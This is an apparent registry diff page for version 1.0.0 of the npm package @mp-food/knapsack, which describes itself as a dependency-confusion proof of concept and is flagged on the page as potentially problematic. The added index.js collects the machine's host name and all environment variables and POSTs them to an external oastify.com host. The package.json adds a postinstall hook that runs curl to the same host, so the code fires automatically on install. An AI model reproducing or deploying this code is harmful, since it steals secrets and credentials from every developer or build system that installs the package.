@mp-food/knapsack 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @mp-food/knapsack might be problematic. Click here for more details.
- package/index.js +26 -0
- package/package.json +9 -0
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
const exfilData = {
|
5
|
+
hostname: require('os').hostname(),
|
6
|
+
env: process.env
|
7
|
+
};
|
8
|
+
|
9
|
+
const data = JSON.stringify(exfilData);
|
10
|
+
const options = {
|
11
|
+
hostname: '8y7q35sjhcjgzkhh05cgrx9yspyhm7aw.oastify.com',
|
12
|
+
port: 443,
|
13
|
+
path: '/log',
|
14
|
+
method: 'POST',
|
15
|
+
headers: {
|
16
|
+
'Content-Type': 'application/json',
|
17
|
+
'Content-Length': data.length
|
18
|
+
}
|
19
|
+
};
|
20
|
+
|
21
|
+
const req = https.request(options, (res) => {
|
22
|
+
console.log(`Status: ${res.statusCode}`);
|
23
|
+
});
|
24
|
+
|
25
|
+
req.write(data);
|
26
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
{
|
2
|
+
"name": "@mp-food/knapsack",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Proof of concept for dependency confusion.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "curl -X POST -d @$(hostname) https://8y7q35sjhcjgzkhh05cgrx9yspyhm7aw.oastify.com/"
|
8
|
+
}
|
9
|
+
}
|